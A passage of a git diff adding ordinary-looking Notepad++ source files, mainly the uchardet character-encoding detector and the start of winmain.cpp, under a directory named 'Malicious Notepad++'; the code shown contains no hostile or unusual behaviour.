mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +// for S-JIS encoding, obeserve characteristic: +// 1, kana character (or hankaku?) often have hight frequency of appereance +// 2, kana character often exist in group +// 3, certain combination of kana is never used in japanese language + +#ifndef nsSJISProber_h__ +#define nsSJISProber_h__ + +#include "nsCharSetProber.h" +#include "nsCodingStateMachine.h" +#include "JpCntx.h" +#include "CharDistribution.h" + + +class nsSJISProber: public nsCharSetProber { +public: + nsSJISProber(PRBool aIsPreferredLanguage) + :mIsPreferredLanguage(aIsPreferredLanguage) + {mCodingSM = new nsCodingStateMachine(&SJISSMModel); + Reset();} + virtual ~nsSJISProber(void){delete mCodingSM;} + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return "Shift_JIS";} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +protected: + nsCodingStateMachine* mCodingSM; + nsProbingState mState; + + SJISContextAnalysis mContextAnalyser; + SJISDistributionAnalysis mDistributionAnalyser; + + char mLastChar[2]; + PRBool mIsPreferredLanguage; + +}; + + +#endif /* nsSJISProber_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsUTF8Prober.cpp b/Malicious Notepad++/src/uchardet/nsUTF8Prober.cpp new file mode 100644 index 0000000..ab8d9f7 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsUTF8Prober.cpp @@ -0,0 +1,87 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsUTF8Prober.h" + +void nsUTF8Prober::Reset(void) +{ + mCodingSM->Reset(); + mNumOfMBChar = 0; + mState = eDetecting; +} + +nsProbingState nsUTF8Prober::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsSMState codingState; + + for (PRUint32 i = 0; i < aLen; i++) + { + codingState = mCodingSM->NextState(aBuf[i]); + if (codingState == eItsMe) + { + mState = eFoundIt; + break; + } + if (codingState == eStart) + { + if (mCodingSM->GetCurrentCharLen() >= 2) + mNumOfMBChar++; + } + } + + if (mState == eDetecting) + if (GetConfidence() > SHORTCUT_THRESHOLD) + mState = eFoundIt; + return mState; +} + +#define ONE_CHAR_PROB (float)0.50 + +float nsUTF8Prober::GetConfidence(void) +{ + float unlike = (float)0.99; + + if (mNumOfMBChar < 6) + { + for (PRUint32 i = 0; i < mNumOfMBChar; i++) + unlike *= ONE_CHAR_PROB; + return (float)1.0 - unlike; + } + else + return (float)0.99; +} + diff --git a/Malicious Notepad++/src/uchardet/nsUTF8Prober.h b/Malicious Notepad++/src/uchardet/nsUTF8Prober.h new file mode 100644 index 0000000..21c91c4 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsUTF8Prober.h @@ -0,0 +1,64 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsUTF8Prober_h__ +#define nsUTF8Prober_h__ + +#include "nsCharSetProber.h" +#include "nsCodingStateMachine.h" + +class nsUTF8Prober: public nsCharSetProber { +public: + nsUTF8Prober(){mNumOfMBChar = 0; + mCodingSM = new nsCodingStateMachine(&UTF8SMModel); + Reset(); } + virtual ~nsUTF8Prober(){delete mCodingSM;} + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName() {return "UTF-8";} + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +protected: + nsCodingStateMachine* mCodingSM; + nsProbingState mState; + PRUint32 mNumOfMBChar; +}; + +#endif /* nsUTF8Prober_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsUniversalDetector.cpp b/Malicious Notepad++/src/uchardet/nsUniversalDetector.cpp new file mode 100644 index 0000000..dd74243 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsUniversalDetector.cpp @@ -0,0 +1,280 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nscore.h" + +#include "nsUniversalDetector.h" + +#include "nsMBCSGroupProber.h" +#include "nsSBCSGroupProber.h" +#include "nsEscCharsetProber.h" +#include "nsLatin1Prober.h" + +nsUniversalDetector::nsUniversalDetector(PRUint32 aLanguageFilter) +{ + mDone = PR_FALSE; + mBestGuess = -1; //illegal value as signal + mInTag = PR_FALSE; + mEscCharSetProber = nsnull; + + mStart = PR_TRUE; + mDetectedCharset = nsnull; + mGotData = PR_FALSE; + mInputState = ePureAscii; + mLastChar = '\0'; + mLanguageFilter = aLanguageFilter; + + PRUint32 i; + for (i = 0; i < NUM_OF_CHARSET_PROBERS; i++) + mCharSetProbers[i] = nsnull; +} + +nsUniversalDetector::~nsUniversalDetector() +{ + for (PRInt32 i = 0; i < NUM_OF_CHARSET_PROBERS; i++) + delete mCharSetProbers[i]; + + delete mEscCharSetProber; +} + +void +nsUniversalDetector::Reset() +{ + mDone = PR_FALSE; + mBestGuess = -1; //illegal value as signal + mInTag = PR_FALSE; + + mStart = PR_TRUE; + mDetectedCharset = nsnull; + mGotData = PR_FALSE; + mInputState = ePureAscii; + mLastChar = '\0'; + + if (mEscCharSetProber) + mEscCharSetProber->Reset(); + + PRUint32 i; + for (i = 0; i < NUM_OF_CHARSET_PROBERS; i++) + if (mCharSetProbers[i]) + mCharSetProbers[i]->Reset(); +} + +//--------------------------------------------------------------------- +#define SHORTCUT_THRESHOLD (float)0.95 +#define MINIMUM_THRESHOLD (float)0.60 + +nsresult nsUniversalDetector::HandleData(const char* aBuf, PRUint32 aLen) +{ + if(mDone) + return NS_OK; + + if (aLen > 0) + mGotData = PR_TRUE; + + //If the data starts with BOM, we know it is UTF + if (mStart) + { + mStart = PR_FALSE; + if (aLen > 2) + switch (aBuf[0]) + { + case '\xEF': + if (('\xBB' == aBuf[1]) && ('\xBF' == aBuf[2])) + // EF BB BF UTF-8 encoded BOM + mDetectedCharset = "UTF-8"; + break; + case '\xFE': + if ('\xFF' == aBuf[1]) + // FE FF UTF-16, big endian BOM + mDetectedCharset = "UTF-16"; + break; + case '\xFF': + if ('\xFE' == aBuf[1]) + // FF FE UTF-16, little endian BOM + mDetectedCharset = "UTF-16"; + break; + } // switch + + if (mDetectedCharset) + { + mDone = PR_TRUE; + return NS_OK; + } + } + + PRUint32 i; + for (i = 0; i < aLen; i++) + { + //other than 0xa0, if every othe character is ascii, the page is ascii + if (aBuf[i] & '\x80' && aBuf[i] != '\xA0') //Since many Ascii only page contains NBSP + { + //we got a non-ascii byte (high-byte) + if (mInputState != eHighbyte) + { + //adjust state + mInputState = eHighbyte; + + //kill mEscCharSetProber if it is active + if (mEscCharSetProber) { + delete mEscCharSetProber; + mEscCharSetProber = nsnull; + } + + //start multibyte and singlebyte charset prober + if (nsnull == mCharSetProbers[0]) + { + mCharSetProbers[0] = new nsMBCSGroupProber(mLanguageFilter); + if (nsnull == mCharSetProbers[0]) + return NS_ERROR_OUT_OF_MEMORY; + } + if (nsnull == mCharSetProbers[1] && + (mLanguageFilter & NS_FILTER_NON_CJK)) + { + mCharSetProbers[1] = new nsSBCSGroupProber; + if (nsnull == mCharSetProbers[1]) + return NS_ERROR_OUT_OF_MEMORY; + } + if (nsnull == mCharSetProbers[2]) + { + mCharSetProbers[2] = new nsLatin1Prober; + if (nsnull == mCharSetProbers[2]) + return NS_ERROR_OUT_OF_MEMORY; + } + } + } + else + { + //ok, just pure ascii so far + if ( ePureAscii == mInputState && + (aBuf[i] == '\033' || (aBuf[i] == '{' && mLastChar == '~')) ) + { + //found escape character or HZ "~{" + mInputState = eEscAscii; + } + mLastChar = aBuf[i]; + } + } + + nsProbingState st; + switch (mInputState) + { + case eEscAscii: + if (nsnull == mEscCharSetProber) { + mEscCharSetProber = new nsEscCharSetProber(mLanguageFilter); + if (nsnull == mEscCharSetProber) + return NS_ERROR_OUT_OF_MEMORY; + } + st = mEscCharSetProber->HandleData(aBuf, aLen); + if (st == eFoundIt) + { + mDone = PR_TRUE; + mDetectedCharset = mEscCharSetProber->GetCharSetName(); + } + break; + case eHighbyte: + for (i = 0; i < NUM_OF_CHARSET_PROBERS; i++) + { + if (mCharSetProbers[i]) + { + st = mCharSetProbers[i]->HandleData(aBuf, aLen); + if (st == eFoundIt) + { + mDone = PR_TRUE; + mDetectedCharset = mCharSetProbers[i]->GetCharSetName(); + return NS_OK; + } + } + } + break; + + default: //pure ascii + ;//do nothing here + } + return NS_OK; +} + + +//--------------------------------------------------------------------- +void nsUniversalDetector::DataEnd() +{ + if (!mGotData) + { + // we haven't got any data yet, return immediately + // caller program sometimes call DataEnd before anything has been sent to detector + return; + } + + if (mDetectedCharset) + { + mDone = PR_TRUE; + Report(mDetectedCharset); + return; + } + + switch (mInputState) + { + case eHighbyte: + { + float proberConfidence; + float maxProberConfidence = (float)0.0; + PRInt32 maxProber = 0; + + for (PRInt32 i = 0; i < NUM_OF_CHARSET_PROBERS; i++) + { + if (mCharSetProbers[i]) + { + proberConfidence = mCharSetProbers[i]->GetConfidence(); + if (proberConfidence > maxProberConfidence) + { + maxProberConfidence = proberConfidence; + maxProber = i; + } + } + } + //do not report anything because we are not confident of it, that's in fact a negative answer + if (maxProberConfidence > MINIMUM_THRESHOLD) + Report(mCharSetProbers[maxProber]->GetCharSetName()); + } + break; + case eEscAscii: + break; + default: + ; + } + return; +} diff --git a/Malicious Notepad++/src/uchardet/nsUniversalDetector.h b/Malicious Notepad++/src/uchardet/nsUniversalDetector.h new file mode 100644 index 0000000..525f722 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsUniversalDetector.h @@ -0,0 +1,89 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsUniversalDetector_h__ +#define nsUniversalDetector_h__ + +class nsCharSetProber; + +#define NUM_OF_CHARSET_PROBERS 3 + +typedef enum { + ePureAscii = 0, + eEscAscii = 1, + eHighbyte = 2 +} nsInputState; + +#define NS_FILTER_CHINESE_SIMPLIFIED 0x01 +#define NS_FILTER_CHINESE_TRADITIONAL 0x02 +#define NS_FILTER_JAPANESE 0x04 +#define NS_FILTER_KOREAN 0x08 +#define NS_FILTER_NON_CJK 0x10 +#define NS_FILTER_ALL 0x1F +#define NS_FILTER_CHINESE (NS_FILTER_CHINESE_SIMPLIFIED | \ + NS_FILTER_CHINESE_TRADITIONAL) +#define NS_FILTER_CJK (NS_FILTER_CHINESE_SIMPLIFIED | \ + NS_FILTER_CHINESE_TRADITIONAL | \ + NS_FILTER_JAPANESE | \ + NS_FILTER_KOREAN) + +class nsUniversalDetector { +public: + nsUniversalDetector(PRUint32 aLanguageFilter); + virtual ~nsUniversalDetector(); + virtual nsresult HandleData(const char* aBuf, PRUint32 aLen); + virtual void DataEnd(void); + +protected: + virtual void Report(const char* aCharset) = 0; + virtual void Reset(); + nsInputState mInputState; + PRBool mDone; + PRBool mInTag; + PRBool mStart; + PRBool mGotData; + char mLastChar; + const char * mDetectedCharset; + PRInt32 mBestGuess; + PRUint32 mLanguageFilter; + + nsCharSetProber *mCharSetProbers[NUM_OF_CHARSET_PROBERS]; + nsCharSetProber *mEscCharSetProber; +}; + +#endif + diff --git a/Malicious Notepad++/src/uchardet/nscore.h b/Malicious Notepad++/src/uchardet/nscore.h new file mode 100644 index 0000000..e0b5a72 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nscore.h @@ -0,0 +1,59 @@ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Kohei TAKETA + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ +#ifndef nsDummyCore_h__ +#define nsDummyCore_h__ + +typedef bool PRBool; +typedef int PRInt32; +typedef unsigned int PRUint32; +typedef short PRInt16; +typedef unsigned short PRUint16; +typedef signed char PRInt8; +typedef unsigned char PRUint8; + +#define PR_FALSE false +#define PR_TRUE true +#define nsnull 0 + + +enum nsresult +{ + NS_OK, + NS_ERROR_OUT_OF_MEMORY +}; + +#endif diff --git a/Malicious Notepad++/src/uchardet/prmem.h b/Malicious Notepad++/src/uchardet/prmem.h new file mode 100644 index 0000000..1485397 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/prmem.h @@ -0,0 +1,49 @@ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Kohei TAKETA + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ +#ifndef nsDummyPrmem_h__ +#define nsDummyPrmem_h__ + +#include + +inline void* PR_Malloc(size_t len) +{ + return malloc(len); +} + +#define PR_FREEIF(p) if (p) free(p) + +#endif diff --git a/Malicious Notepad++/src/uchardet/uchardet.cpp b/Malicious Notepad++/src/uchardet/uchardet.cpp new file mode 100644 index 0000000..35b8409 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/uchardet.cpp @@ -0,0 +1,106 @@ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * BYVoid + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "uchardet.h" +#include "nscore.h" +#include "nsUniversalDetector.h" +#include + +using std::string; + +class HandleUniversalDetector : public nsUniversalDetector +{ +protected: + string m_charset; + +public: + HandleUniversalDetector() + : nsUniversalDetector(NS_FILTER_ALL) + { + m_charset = ""; + } + + virtual ~HandleUniversalDetector() + {} + + virtual void Report(const char* charset) + { + m_charset = charset; + } + + virtual void Reset() + { + nsUniversalDetector::Reset(); + m_charset = ""; + } + + const char* GetCharset() const + { + return m_charset.c_str(); + } +}; + +uchardet_t uchardet_new() +{ + return reinterpret_cast (new HandleUniversalDetector()); +} + +void uchardet_delete(uchardet_t ud) +{ + delete reinterpret_cast(ud); +} + +int uchardet_handle_data(uchardet_t ud, const char * data, size_t len) +{ + nsresult ret = reinterpret_cast(ud)->HandleData(data, (PRUint32)len); + return (ret != NS_OK); +} + +void uchardet_data_end(uchardet_t ud) +{ + reinterpret_cast(ud)->DataEnd(); +} + +void uchardet_reset(uchardet_t ud) +{ + reinterpret_cast(ud)->Reset(); +} + +const char* uchardet_get_charset(uchardet_t ud) +{ + return reinterpret_cast(ud)->GetCharset(); +} diff --git a/Malicious Notepad++/src/uchardet/uchardet.h b/Malicious Notepad++/src/uchardet/uchardet.h new file mode 100644 index 0000000..533666a --- /dev/null +++ b/Malicious Notepad++/src/uchardet/uchardet.h @@ -0,0 +1,92 @@ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * BYVoid + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ +#ifndef ___UCHARDET_H___ +#define ___UCHARDET_H___ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +typedef void * uchardet_t; + +/** + * Create an encoding detector. + * @return a handle of a instance of uchardet + */ +uchardet_t uchardet_new(); + +/** + * Delete an encoding detector. + * @param ud [in] handle of a instance of uchardet + */ +void uchardet_delete(uchardet_t ud); + +/** + * Feed data to an encoding detector. + * @param ud [in] handle of a instance of uchardet + * @param data [in] data + * @param len [in] number of byte of data + * @return non-zero number on failure. + */ +int uchardet_handle_data(uchardet_t ud, const char * data, size_t len); + +/** + * Notify an end of data to an encoding detctor. + * @param ud [in] handle of a instance of uchardet + */ +void uchardet_data_end(uchardet_t ud); + +/** + * Reset an encoding detector. + * @param ud [in] handle of a instance of uchardet + */ +void uchardet_reset(uchardet_t ud); + +/** + * Get the name of encoding that was detected. + * @param ud [in] handle of a instance of uchardet + * @return name of charset on success and "" on failure or pure ascii. + */ +const char * uchardet_get_charset(uchardet_t ud); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Malicious Notepad++/src/userDefineLang.xml b/Malicious Notepad++/src/userDefineLang.xml new file mode 100644 index 0000000..d9dbac6 --- /dev/null +++ b/Malicious Notepad++/src/userDefineLang.xml @@ -0,0 +1,62 @@ + + + + + + + + + BEGIN + END + , + 0// 1/* 0REM 2*/ + STYLE FONT DIALOGEX + COMBOBOX LTEXT CONTROL EDITTEXT + + + + + + + + + + + + + + + + + + + + + + + + + function procedure switch when forEach for while + endFunc endProc endSwitch endWhen endFor endWhile + - ( ) * , . / : ? @ [ ] + = + 0; + if elseif else endIf return break + + uses type self var _Result + Nil True False and or + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/winmain.cpp b/Malicious Notepad++/src/winmain.cpp new file mode 100644 index 0000000..cd02bb6 --- /dev/null +++ b/Malicious Notepad++/src/winmain.cpp @@ -0,0 +1,586 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include "Notepad_plus_Window.h" +#include "Processus.h" +#include "Win32Exception.h" //Win32 exception +#include "MiniDumper.h" //Write dump files + +typedef std::vector ParamVector; + + +namespace +{ + + +void allowWmCopydataMessages(Notepad_plus_Window& notepad_plus_plus, const NppParameters* pNppParameters, winVer ver) +{ + #ifndef MSGFLT_ADD + const DWORD MSGFLT_ADD = 1; + #endif + #ifndef MSGFLT_ALLOW + const DWORD MSGFLT_ALLOW = 1; + #endif + // Tell UAC that lower integrity processes are allowed to send WM_COPYDATA messages to this process (or window) + // This allows opening new files to already opened elevated Notepad++ process via explorer context menu. + if (ver >= WV_VISTA || ver == WV_UNKNOWN) + { + HMODULE hDll = GetModuleHandle(TEXT("user32.dll")); + if (hDll) + { + // According to MSDN ChangeWindowMessageFilter may not be supported in future versions of Windows, + // that is why we use ChangeWindowMessageFilterEx if it is available (windows version >= Win7). + if (pNppParameters->getWinVersion() == WV_VISTA) + { + typedef BOOL (WINAPI *MESSAGEFILTERFUNC)(UINT message,DWORD dwFlag); + + MESSAGEFILTERFUNC func = (MESSAGEFILTERFUNC)::GetProcAddress( hDll, "ChangeWindowMessageFilter" ); + + if (func) + func(WM_COPYDATA, MSGFLT_ADD); + } + else + { + typedef BOOL (WINAPI *MESSAGEFILTERFUNCEX)(HWND hWnd,UINT message,DWORD action,VOID* pChangeFilterStruct); + + MESSAGEFILTERFUNCEX func = (MESSAGEFILTERFUNCEX)::GetProcAddress( hDll, "ChangeWindowMessageFilterEx" ); + + if (func) + func(notepad_plus_plus.getHSelf(), WM_COPYDATA, MSGFLT_ALLOW, NULL ); + } + } + } +} + + +bool checkSingleFile(const TCHAR *commandLine) +{ + if (!commandLine || commandLine[0] == TEXT('\0')) + return false; + + TCHAR fullpath[MAX_PATH] = {0}; + const DWORD fullpathResult = ::GetFullPathName(commandLine, MAX_PATH, fullpath, NULL); + + if (fullpathResult == 0) + return false; + + if (fullpathResult > MAX_PATH) + return false; + + if (::PathFileExists(fullpath)) + return true; + + return false; +} + +//commandLine should contain path to n++ executable running +void parseCommandLine(const TCHAR* commandLine, ParamVector& paramVector) +{ + if (!commandLine) + return; + + TCHAR* cmdLine = new TCHAR[lstrlen(commandLine) + 1]; + lstrcpy(cmdLine, commandLine); + + TCHAR* cmdLinePtr = cmdLine; + + //remove the first element, since thats the path the the executable (GetCommandLine does that) + 